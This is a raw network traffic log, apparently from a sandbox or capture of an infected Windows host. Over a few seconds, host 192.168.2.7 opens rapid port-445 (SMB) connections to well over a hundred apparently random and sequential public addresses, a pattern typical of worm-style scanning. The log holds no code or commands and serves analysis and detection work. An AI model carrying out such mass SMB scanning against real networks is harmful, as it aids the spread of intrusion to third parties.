Jul 20, 2022 13:25:03.386307001 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.594079018 CEST	51422	445	192.168.2.7	5.240.140.7
Jul 20, 2022 13:25:03.608402014 CEST	51423	445	192.168.2.7	97.36.158.135
Jul 20, 2022 13:25:03.624119997 CEST	51424	445	192.168.2.7	89.33.196.174
Jul 20, 2022 13:25:03.733906031 CEST	51426	445	192.168.2.7	207.71.87.92
Jul 20, 2022 13:25:03.812205076 CEST	51428	445	192.168.2.7	200.186.182.156
Jul 20, 2022 13:25:03.812849998 CEST	51429	445	192.168.2.7	212.29.193.19
Jul 20, 2022 13:25:03.874728918 CEST	51430	445	192.168.2.7	63.209.58.39
Jul 20, 2022 13:25:03.881390095 CEST	51431	445	192.168.2.7	128.10.119.220
Jul 20, 2022 13:25:03.884331942 CEST	51432	445	192.168.2.7	50.205.93.253
Jul 20, 2022 13:25:03.884480000 CEST	51433	445	192.168.2.7	202.46.113.139
Jul 20, 2022 13:25:03.884594917 CEST	51434	445	192.168.2.7	68.48.157.227
Jul 20, 2022 13:25:03.884728909 CEST	51435	445	192.168.2.7	100.161.51.97
Jul 20, 2022 13:25:03.884814978 CEST	51436	445	192.168.2.7	94.89.230.189
Jul 20, 2022 13:25:03.905375004 CEST	51437	445	192.168.2.7	34.151.45.147
Jul 20, 2022 13:25:03.905877113 CEST	51438	445	192.168.2.7	189.172.34.154
Jul 20, 2022 13:25:03.920972109 CEST	51439	445	192.168.2.7	185.15.42.25
Jul 20, 2022 13:25:03.970069885 CEST	51440	445	192.168.2.7	218.236.169.189
Jul 20, 2022 13:25:03.972649097 CEST	51442	445	192.168.2.7	176.143.173.110
Jul 20, 2022 13:25:03.987458944 CEST	51443	445	192.168.2.7	188.71.130.119
Jul 20, 2022 13:25:03.987689972 CEST	51445	445	192.168.2.7	19.184.172.29
Jul 20, 2022 13:25:03.987765074 CEST	51446	445	192.168.2.7	173.166.131.32
Jul 20, 2022 13:25:03.988116026 CEST	51444	445	192.168.2.7	54.225.240.20
Jul 20, 2022 13:25:03.988143921 CEST	51447	445	192.168.2.7	130.63.113.28
Jul 20, 2022 13:25:03.988166094 CEST	51449	445	192.168.2.7	85.214.251.105
Jul 20, 2022 13:25:03.988209963 CEST	51448	445	192.168.2.7	163.236.193.152
Jul 20, 2022 13:25:04.017024040 CEST	445	51432	50.205.93.253	192.168.2.7
Jul 20, 2022 13:25:04.017182112 CEST	445	51449	85.214.251.105	192.168.2.7
Jul 20, 2022 13:25:04.077780008 CEST	51450	445	192.168.2.7	43.14.57.29
Jul 20, 2022 13:25:04.078342915 CEST	51451	445	192.168.2.7	9.225.249.218
Jul 20, 2022 13:25:04.202218056 CEST	51453	445	192.168.2.7	205.226.179.42
Jul 20, 2022 13:25:04.280268908 CEST	51454	445	192.168.2.7	2.208.229.151
Jul 20, 2022 13:25:04.475816011 CEST	51457	445	192.168.2.7	46.224.156.157
Jul 20, 2022 13:25:04.476351023 CEST	51458	445	192.168.2.7	89.153.204.34
Jul 20, 2022 13:25:04.529910088 CEST	51432	445	192.168.2.7	50.205.93.253
Jul 20, 2022 13:25:04.530119896 CEST	51449	445	192.168.2.7	85.214.251.105
Jul 20, 2022 13:25:04.558120012 CEST	445	51449	85.214.251.105	192.168.2.7
Jul 20, 2022 13:25:04.638227940 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.638274908 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.638360023 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.641172886 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.641196012 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.661338091 CEST	445	51432	50.205.93.253	192.168.2.7
Jul 20, 2022 13:25:04.671235085 CEST	51462	445	192.168.2.7	5.240.140.8
Jul 20, 2022 13:25:04.733237982 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.733587027 CEST	51463	445	192.168.2.7	135.253.16.66
Jul 20, 2022 13:25:04.733609915 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.738070965 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.738091946 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.743093014 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.743113995 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.743494034 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.743506908 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.749320984 CEST	51464	445	192.168.2.7	209.189.56.218
Jul 20, 2022 13:25:04.818331003 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.818394899 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.818413973 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.818435907 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.833219051 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.833251953 CEST	443	51460	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:04.833261013 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.833322048 CEST	51460	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:04.858871937 CEST	51466	445	192.168.2.7	175.203.5.25
Jul 20, 2022 13:25:04.936969042 CEST	51468	445	192.168.2.7	159.246.246.188
Jul 20, 2022 13:25:04.937046051 CEST	51469	445	192.168.2.7	68.43.72.175
Jul 20, 2022 13:25:05.016743898 CEST	51470	445	192.168.2.7	36.145.98.155
Jul 20, 2022 13:25:05.017909050 CEST	51471	445	192.168.2.7	1.178.37.70
Jul 20, 2022 13:25:05.017972946 CEST	51472	445	192.168.2.7	149.224.51.114
Jul 20, 2022 13:25:05.018500090 CEST	51473	445	192.168.2.7	18.99.139.227
Jul 20, 2022 13:25:05.019004107 CEST	51474	445	192.168.2.7	2.114.187.100
Jul 20, 2022 13:25:05.019509077 CEST	51475	445	192.168.2.7	131.63.197.197
Jul 20, 2022 13:25:05.019988060 CEST	51476	445	192.168.2.7	178.189.30.250
Jul 20, 2022 13:25:05.020487070 CEST	51477	445	192.168.2.7	185.15.42.26
Jul 20, 2022 13:25:05.030569077 CEST	51479	445	192.168.2.7	124.252.243.181
Jul 20, 2022 13:25:05.030577898 CEST	51478	445	192.168.2.7	63.198.222.30
Jul 20, 2022 13:25:05.126897097 CEST	51480	445	192.168.2.7	208.173.168.218
Jul 20, 2022 13:25:05.126955032 CEST	51481	445	192.168.2.7	197.148.79.99
Jul 20, 2022 13:25:05.127002954 CEST	51483	445	192.168.2.7	31.73.9.228
Jul 20, 2022 13:25:05.127093077 CEST	51484	445	192.168.2.7	143.60.141.18
Jul 20, 2022 13:25:05.127118111 CEST	51482	445	192.168.2.7	205.150.131.242
Jul 20, 2022 13:25:05.127201080 CEST	51485	445	192.168.2.7	16.42.252.249
Jul 20, 2022 13:25:05.127305984 CEST	51486	445	192.168.2.7	164.117.29.178
Jul 20, 2022 13:25:05.127326965 CEST	51487	445	192.168.2.7	203.160.64.202
Jul 20, 2022 13:25:05.127387047 CEST	51489	445	192.168.2.7	128.28.118.214
Jul 20, 2022 13:25:05.203185081 CEST	51490	445	192.168.2.7	204.134.164.252
Jul 20, 2022 13:25:05.205107927 CEST	51491	445	192.168.2.7	125.210.230.26
Jul 20, 2022 13:25:05.275281906 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.275325060 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.275429964 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.275835991 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.275862932 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.327810049 CEST	51494	445	192.168.2.7	114.153.62.22
Jul 20, 2022 13:25:05.405492067 CEST	51495	445	192.168.2.7	132.10.244.152
Jul 20, 2022 13:25:05.430419922 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.430713892 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.471507072 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.471539021 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.490756989 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.490782976 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.560009003 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.560069084 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.560087919 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.560116053 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.563014030 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.563046932 CEST	443	51492	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.563071012 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.563133955 CEST	51492	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.574374914 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.574419022 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.575311899 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.576353073 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.576370001 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.593251944 CEST	51499	445	192.168.2.7	56.154.55.14
Jul 20, 2022 13:25:05.593308926 CEST	51500	445	192.168.2.7	188.211.184.176
Jul 20, 2022 13:25:05.722702980 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.722780943 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.723551989 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.723562956 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.726732969 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.726743937 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.752583027 CEST	51503	445	192.168.2.7	5.240.140.9
Jul 20, 2022 13:25:05.802740097 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.802819967 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.802891016 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.802917004 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.804020882 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.804053068 CEST	443	51498	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:05.804064989 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.804142952 CEST	51498	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:05.858699083 CEST	51504	445	192.168.2.7	70.182.25.58
Jul 20, 2022 13:25:05.874799013 CEST	51505	445	192.168.2.7	73.55.58.106
Jul 20, 2022 13:25:05.992754936 CEST	51508	445	192.168.2.7	12.26.121.216
Jul 20, 2022 13:25:06.061691046 CEST	51509	445	192.168.2.7	74.207.136.34
Jul 20, 2022 13:25:06.062299013 CEST	51510	445	192.168.2.7	162.186.200.74
Jul 20, 2022 13:25:06.092416048 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:25:06.101418018 CEST	51511	445	192.168.2.7	185.15.42.27
Jul 20, 2022 13:25:06.144257069 CEST	51512	445	192.168.2.7	55.156.248.51
Jul 20, 2022 13:25:06.144300938 CEST	51513	445	192.168.2.7	144.123.28.81
Jul 20, 2022 13:25:06.144453049 CEST	51514	445	192.168.2.7	99.3.31.115
Jul 20, 2022 13:25:06.144459009 CEST	51515	445	192.168.2.7	79.160.44.161
Jul 20, 2022 13:25:06.144620895 CEST	51516	445	192.168.2.7	87.232.83.10
Jul 20, 2022 13:25:06.144768953 CEST	51517	445	192.168.2.7	159.112.211.238
Jul 20, 2022 13:25:06.144785881 CEST	51519	445	192.168.2.7	124.249.166.236
Jul 20, 2022 13:25:06.144808054 CEST	51518	445	192.168.2.7	16.199.206.181
Jul 20, 2022 13:25:06.144840956 CEST	51520	445	192.168.2.7	167.23.6.221
Jul 20, 2022 13:25:06.159591913 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.189408064 CEST	445	51521	93.22.219.2	192.168.2.7
Jul 20, 2022 13:25:06.189611912 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.190210104 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.194705009 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.224524021 CEST	445	51522	93.22.219.2	192.168.2.7
Jul 20, 2022 13:25:06.224749088 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.224924088 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.229420900 CEST	445	51509	74.207.136.34	192.168.2.7
Jul 20, 2022 13:25:06.259865046 CEST	51524	445	192.168.2.7	75.67.200.60
Jul 20, 2022 13:25:06.259988070 CEST	51526	445	192.168.2.7	124.209.169.136
Jul 20, 2022 13:25:06.260092020 CEST	51527	445	192.168.2.7	31.142.185.67
Jul 20, 2022 13:25:06.260093927 CEST	51525	445	192.168.2.7	92.125.252.243
Jul 20, 2022 13:25:06.260139942 CEST	51523	445	192.168.2.7	23.15.22.131
Jul 20, 2022 13:25:06.260210991 CEST	51530	445	192.168.2.7	20.15.12.57
Jul 20, 2022 13:25:06.260279894 CEST	51531	445	192.168.2.7	183.225.192.143
Jul 20, 2022 13:25:06.260669947 CEST	51532	445	192.168.2.7	150.113.215.108
Jul 20, 2022 13:25:06.329682112 CEST	51533	445	192.168.2.7	79.193.83.202
Jul 20, 2022 13:25:06.329754114 CEST	51534	445	192.168.2.7	163.178.249.127
Jul 20, 2022 13:25:06.452627897 CEST	51537	445	192.168.2.7	59.58.29.7
Jul 20, 2022 13:25:06.498626947 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.538681984 CEST	51538	445	192.168.2.7	62.251.236.167
Jul 20, 2022 13:25:06.592390060 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.718327045 CEST	51541	445	192.168.2.7	104.173.93.85
Jul 20, 2022 13:25:06.718808889 CEST	51542	445	192.168.2.7	170.181.225.220
Jul 20, 2022 13:25:06.748682022 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:25:06.828963041 CEST	51544	445	192.168.2.7	5.240.140.10
Jul 20, 2022 13:25:06.904992104 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:06.905440092 CEST	51509	445	192.168.2.7	74.207.136.34
Jul 20, 2022 13:25:06.991236925 CEST	51546	445	192.168.2.7	181.152.209.128
Jul 20, 2022 13:25:06.999469042 CEST	51547	445	192.168.2.7	39.21.209.73
Jul 20, 2022 13:25:07.077466965 CEST	445	51509	74.207.136.34	192.168.2.7
Jul 20, 2022 13:25:07.108052969 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:07.109559059 CEST	51550	445	192.168.2.7	186.241.191.38
Jul 20, 2022 13:25:07.171602964 CEST	51551	445	192.168.2.7	185.15.42.28
Jul 20, 2022 13:25:07.187316895 CEST	51552	445	192.168.2.7	9.90.238.34
Jul 20, 2022 13:25:07.188018084 CEST	51553	445	192.168.2.7	210.243.110.123
Jul 20, 2022 13:25:07.271454096 CEST	51554	445	192.168.2.7	131.78.233.164
Jul 20, 2022 13:25:07.271537066 CEST	51556	445	192.168.2.7	133.177.100.61
Jul 20, 2022 13:25:07.271614075 CEST	51555	445	192.168.2.7	72.189.247.85
Jul 20, 2022 13:25:07.271670103 CEST	51557	445	192.168.2.7	65.213.11.198
Jul 20, 2022 13:25:07.271687031 CEST	51558	445	192.168.2.7	203.25.243.84
Jul 20, 2022 13:25:07.271737099 CEST	51559	445	192.168.2.7	47.191.50.47
Jul 20, 2022 13:25:07.271779060 CEST	51560	445	192.168.2.7	93.249.26.228
Jul 20, 2022 13:25:07.271830082 CEST	51561	445	192.168.2.7	21.69.35.201
Jul 20, 2022 13:25:07.272423983 CEST	51562	445	192.168.2.7	140.46.154.226
Jul 20, 2022 13:25:07.375081062 CEST	51564	445	192.168.2.7	128.103.222.29
Jul 20, 2022 13:25:07.375185966 CEST	51563	445	192.168.2.7	156.147.129.24
Jul 20, 2022 13:25:07.375624895 CEST	51565	445	192.168.2.7	187.213.177.14
Jul 20, 2022 13:25:07.376091957 CEST	51566	445	192.168.2.7	141.106.246.148
Jul 20, 2022 13:25:07.377146006 CEST	51568	445	192.168.2.7	27.189.247.217
Jul 20, 2022 13:25:07.377659082 CEST	51569	445	192.168.2.7	44.184.233.82
Jul 20, 2022 13:25:07.378190041 CEST	51570	445	192.168.2.7	189.190.94.31
Jul 20, 2022 13:25:07.378875017 CEST	51571	445	192.168.2.7	146.233.191.50
Jul 20, 2022 13:25:07.379494905 CEST	51572	445	192.168.2.7	55.240.7.7
Jul 20, 2022 13:25:07.452698946 CEST	51573	445	192.168.2.7	174.225.78.51
Jul 20, 2022 13:25:07.452713013 CEST	51574	445	192.168.2.7	61.99.62.173
Jul 20, 2022 13:25:07.494837046 CEST	445	51566	141.106.246.148	192.168.2.7
Jul 20, 2022 13:25:07.578701973 CEST	51577	445	192.168.2.7	189.69.215.168
Jul 20, 2022 13:25:07.592483044 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:07.655664921 CEST	51578	445	192.168.2.7	200.73.217.26
Jul 20, 2022 13:25:07.852142096 CEST	51581	445	192.168.2.7	205.85.114.120
Jul 20, 2022 13:25:07.852214098 CEST	51582	445	192.168.2.7	8.152.7.145
Jul 20, 2022 13:25:07.905674934 CEST	51583	445	192.168.2.7	5.240.140.11
Jul 20, 2022 13:25:07.999135017 CEST	51566	445	192.168.2.7	141.106.246.148
Jul 20, 2022 13:25:08.093103886 CEST	51586	445	192.168.2.7	47.238.14.174
Jul 20, 2022 13:25:08.118006945 CEST	445	51566	141.106.246.148	192.168.2.7
Jul 20, 2022 13:25:08.124882936 CEST	51587	445	192.168.2.7	42.103.249.197
Jul 20, 2022 13:25:08.234096050 CEST	51589	445	192.168.2.7	83.186.100.47
Jul 20, 2022 13:25:08.249532938 CEST	51591	445	192.168.2.7	185.15.42.29
Jul 20, 2022 13:25:08.311526060 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:08.312402010 CEST	51593	445	192.168.2.7	184.176.172.6
Jul 20, 2022 13:25:08.312433958 CEST	51592	445	192.168.2.7	148.70.231.18
Jul 20, 2022 13:25:08.390878916 CEST	51594	445	192.168.2.7	15.91.26.58
Jul 20, 2022 13:25:08.391541958 CEST	51595	445	192.168.2.7	78.111.22.243
Jul 20, 2022 13:25:08.392534018 CEST	51596	445	192.168.2.7	108.23.28.172
Jul 20, 2022 13:25:08.392607927 CEST	51597	445	192.168.2.7	38.64.185.45
Jul 20, 2022 13:25:08.393124104 CEST	51598	445	192.168.2.7	131.27.82.104
Jul 20, 2022 13:25:08.393610001 CEST	51599	445	192.168.2.7	144.198.136.144
Jul 20, 2022 13:25:08.394145012 CEST	51600	445	192.168.2.7	203.84.220.206
Jul 20, 2022 13:25:08.394864082 CEST	51601	445	192.168.2.7	213.218.0.120
Jul 20, 2022 13:25:08.395128965 CEST	51602	445	192.168.2.7	57.93.35.110
Jul 20, 2022 13:25:08.499430895 CEST	51604	445	192.168.2.7	47.4.156.11
Jul 20, 2022 13:25:08.500089884 CEST	51605	445	192.168.2.7	193.61.242.141
Jul 20, 2022 13:25:08.501612902 CEST	51606	445	192.168.2.7	195.198.221.175
Jul 20, 2022 13:25:08.511006117 CEST	51607	445	192.168.2.7	131.75.102.117
Jul 20, 2022 13:25:08.512599945 CEST	51610	445	192.168.2.7	63.205.96.5
Jul 20, 2022 13:25:08.512752056 CEST	51612	445	192.168.2.7	82.122.106.134
Jul 20, 2022 13:25:08.512788057 CEST	51611	445	192.168.2.7	1.244.27.162
Jul 20, 2022 13:25:08.512806892 CEST	51609	445	192.168.2.7	62.10.123.62
Jul 20, 2022 13:25:08.512826920 CEST	51613	445	192.168.2.7	86.193.165.113
Jul 20, 2022 13:25:08.577841043 CEST	51615	445	192.168.2.7	170.196.40.51
Jul 20, 2022 13:25:08.577899933 CEST	51614	445	192.168.2.7	72.102.70.204
Jul 20, 2022 13:25:08.702732086 CEST	51618	445	192.168.2.7	15.1.239.64
Jul 20, 2022 13:25:08.783873081 CEST	51619	445	192.168.2.7	21.94.26.84
Jul 20, 2022 13:25:08.795686007 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:08.968483925 CEST	51622	445	192.168.2.7	177.166.191.62
Jul 20, 2022 13:25:08.968550920 CEST	51623	445	192.168.2.7	43.170.104.129
Jul 20, 2022 13:25:08.983773947 CEST	51624	445	192.168.2.7	5.240.140.12
Jul 20, 2022 13:25:08.999890089 CEST	49720	443	192.168.2.7	23.35.236.56
Jul 20, 2022 13:25:09.018867970 CEST	443	49720	23.35.236.56	192.168.2.7
Jul 20, 2022 13:25:09.018939018 CEST	443	49720	23.35.236.56	192.168.2.7
Jul 20, 2022 13:25:09.018961906 CEST	49720	443	192.168.2.7	23.35.236.56
Jul 20, 2022 13:25:09.020190954 CEST	49720	443	192.168.2.7	23.35.236.56
Jul 20, 2022 13:25:09.218377113 CEST	51627	445	192.168.2.7	83.131.18.169
Jul 20, 2022 13:25:09.282107115 CEST	51628	445	192.168.2.7	112.133.154.190
Jul 20, 2022 13:25:09.312511921 CEST	51630	445	192.168.2.7	185.15.42.30
Jul 20, 2022 13:25:09.359843016 CEST	51631	445	192.168.2.7	147.147.154.34
Jul 20, 2022 13:25:09.421355963 CEST	51633	445	192.168.2.7	109.59.46.87
Jul 20, 2022 13:25:09.422916889 CEST	51634	445	192.168.2.7	184.157.39.58
Jul 20, 2022 13:25:09.518520117 CEST	51635	445	192.168.2.7	175.70.39.50
Jul 20, 2022 13:25:09.519089937 CEST	51637	445	192.168.2.7	217.59.13.137
Jul 20, 2022 13:25:09.519195080 CEST	51638	445	192.168.2.7	215.222.221.194
Jul 20, 2022 13:25:09.519259930 CEST	51641	445	192.168.2.7	217.111.178.5
Jul 20, 2022 13:25:09.519273996 CEST	51640	445	192.168.2.7	139.247.234.153
Jul 20, 2022 13:25:09.519345045 CEST	51639	445	192.168.2.7	25.211.36.254
Jul 20, 2022 13:25:09.534809113 CEST	51642	445	192.168.2.7	84.111.156.130
Jul 20, 2022 13:25:09.535053015 CEST	51643	445	192.168.2.7	114.244.76.152
Jul 20, 2022 13:25:09.535216093 CEST	51644	445	192.168.2.7	120.124.156.82
Jul 20, 2022 13:25:09.635443926 CEST	51645	445	192.168.2.7	44.226.97.117
Jul 20, 2022 13:25:09.636811972 CEST	51646	445	192.168.2.7	117.190.92.223
Jul 20, 2022 13:25:09.636832952 CEST	51647	445	192.168.2.7	218.229.128.4
Jul 20, 2022 13:25:09.636908054 CEST	51648	445	192.168.2.7	96.81.171.100
Jul 20, 2022 13:25:09.636991024 CEST	51650	445	192.168.2.7	83.58.178.141
Jul 20, 2022 13:25:09.637063026 CEST	51651	445	192.168.2.7	220.123.76.134
Jul 20, 2022 13:25:09.637126923 CEST	51652	445	192.168.2.7	124.63.137.127
Jul 20, 2022 13:25:09.637162924 CEST	51653	445	192.168.2.7	91.132.243.130
Jul 20, 2022 13:25:09.637392998 CEST	51654	445	192.168.2.7	216.109.134.38
Jul 20, 2022 13:25:09.705318928 CEST	51655	445	192.168.2.7	98.185.104.12
Jul 20, 2022 13:25:09.705898046 CEST	51656	445	192.168.2.7	41.89.118.78
Jul 20, 2022 13:25:09.827620983 CEST	51659	445	192.168.2.7	135.59.17.33
Jul 20, 2022 13:25:09.905919075 CEST	51660	445	192.168.2.7	150.125.121.181
Jul 20, 2022 13:25:10.006366014 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:10.048144102 CEST	51663	445	192.168.2.7	5.240.140.13
Jul 20, 2022 13:25:10.108928919 CEST	51664	445	192.168.2.7	47.39.109.28
Jul 20, 2022 13:25:10.109639883 CEST	51665	445	192.168.2.7	68.176.33.161
Jul 20, 2022 13:25:10.350267887 CEST	51668	445	192.168.2.7	212.160.167.184
Jul 20, 2022 13:25:10.366466045 CEST	51669	445	192.168.2.7	185.15.42.31
Jul 20, 2022 13:25:10.391755104 CEST	51670	445	192.168.2.7	193.189.107.36
Jul 20, 2022 13:25:10.469558954 CEST	51674	445	192.168.2.7	204.208.235.214
Jul 20, 2022 13:25:10.552135944 CEST	51675	445	192.168.2.7	139.163.210.108
Jul 20, 2022 13:25:10.555516958 CEST	51676	445	192.168.2.7	53.59.14.9
Jul 20, 2022 13:25:10.652076006 CEST	51678	445	192.168.2.7	155.142.234.222
Jul 20, 2022 13:25:10.652726889 CEST	51679	445	192.168.2.7	166.217.130.34
Jul 20, 2022 13:25:10.653491974 CEST	51680	445	192.168.2.7	16.3.74.190
Jul 20, 2022 13:25:10.654228926 CEST	51681	445	192.168.2.7	116.235.148.81
Jul 20, 2022 13:25:10.654937029 CEST	51682	445	192.168.2.7	166.227.123.88
Jul 20, 2022 13:25:10.655647993 CEST	51683	445	192.168.2.7	37.86.30.50
Jul 20, 2022 13:25:10.656354904 CEST	51684	445	192.168.2.7	54.214.55.23
Jul 20, 2022 13:25:10.657053947 CEST	51685	445	192.168.2.7	37.206.110.172
Jul 20, 2022 13:25:10.657784939 CEST	51686	445	192.168.2.7	203.98.14.143
Jul 20, 2022 13:25:10.712743998 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:10.751101971 CEST	51687	445	192.168.2.7	215.227.62.201
Jul 20, 2022 13:25:10.752639055 CEST	51688	445	192.168.2.7	42.123.226.13
Jul 20, 2022 13:25:10.753335953 CEST	51689	445	192.168.2.7	138.233.54.197
Jul 20, 2022 13:25:10.760674953 CEST	51690	445	192.168.2.7	197.0.253.108
Jul 20, 2022 13:25:10.761219978 CEST	51691	445	192.168.2.7	4.139.130.88
Jul 20, 2022 13:25:10.761683941 CEST	51692	445	192.168.2.7	124.158.58.85
Jul 20, 2022 13:25:10.762638092 CEST	51694	445	192.168.2.7	110.109.76.215
Jul 20, 2022 13:25:10.763140917 CEST	51695	445	192.168.2.7	218.169.105.81
Jul 20, 2022 13:25:10.763823986 CEST	51696	445	192.168.2.7	198.112.83.240
Jul 20, 2022 13:25:10.832036018 CEST	51697	445	192.168.2.7	111.116.7.214
Jul 20, 2022 13:25:10.832545996 CEST	51698	445	192.168.2.7	58.67.90.220
Jul 20, 2022 13:25:10.934056997 CEST	51700	445	192.168.2.7	23.115.149.179
Jul 20, 2022 13:25:11.019357920 CEST	51702	445	192.168.2.7	172.180.50.152
Jul 20, 2022 13:25:11.120409966 CEST	51703	445	192.168.2.7	5.240.140.14
Jul 20, 2022 13:25:11.216123104 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:11.254020929 CEST	51706	445	192.168.2.7	121.203.197.15
Jul 20, 2022 13:25:11.254549026 CEST	51707	445	192.168.2.7	67.9.193.101
Jul 20, 2022 13:25:11.441771984 CEST	51710	445	192.168.2.7	185.15.42.32
Jul 20, 2022 13:25:11.464158058 CEST	51711	445	192.168.2.7	105.132.42.235
Jul 20, 2022 13:25:11.498750925 CEST	49719	80	192.168.2.7	209.197.3.8
Jul 20, 2022 13:25:11.499458075 CEST	51712	445	192.168.2.7	193.107.113.48
Jul 20, 2022 13:25:11.515692949 CEST	80	49719	209.197.3.8	192.168.2.7
Jul 20, 2022 13:25:11.515790939 CEST	49719	80	192.168.2.7	209.197.3.8
Jul 20, 2022 13:25:11.601886988 CEST	51715	445	192.168.2.7	87.171.202.3
Jul 20, 2022 13:25:11.681413889 CEST	51717	445	192.168.2.7	22.0.77.234
Jul 20, 2022 13:25:11.681916952 CEST	51718	445	192.168.2.7	53.52.202.112
Jul 20, 2022 13:25:11.778953075 CEST	51719	445	192.168.2.7	172.212.41.54
Jul 20, 2022 13:25:11.779623985 CEST	51720	445	192.168.2.7	133.118.206.125
Jul 20, 2022 13:25:11.780193090 CEST	51721	445	192.168.2.7	203.36.217.254
Jul 20, 2022 13:25:11.780709028 CEST	51722	445	192.168.2.7	212.125.245.181
Jul 20, 2022 13:25:11.781290054 CEST	51723	445	192.168.2.7	105.227.189.208
Jul 20, 2022 13:25:11.781784058 CEST	51724	445	192.168.2.7	106.134.21.218
Jul 20, 2022 13:25:11.782299042 CEST	51725	445	192.168.2.7	213.80.100.147
Jul 20, 2022 13:25:11.783255100 CEST	51727	445	192.168.2.7	114.52.191.218
Jul 20, 2022 13:25:11.846683025 CEST	51726	445	192.168.2.7	8.51.170.219
Jul 20, 2022 13:25:11.865411997 CEST	51729	445	192.168.2.7	77.98.107.68
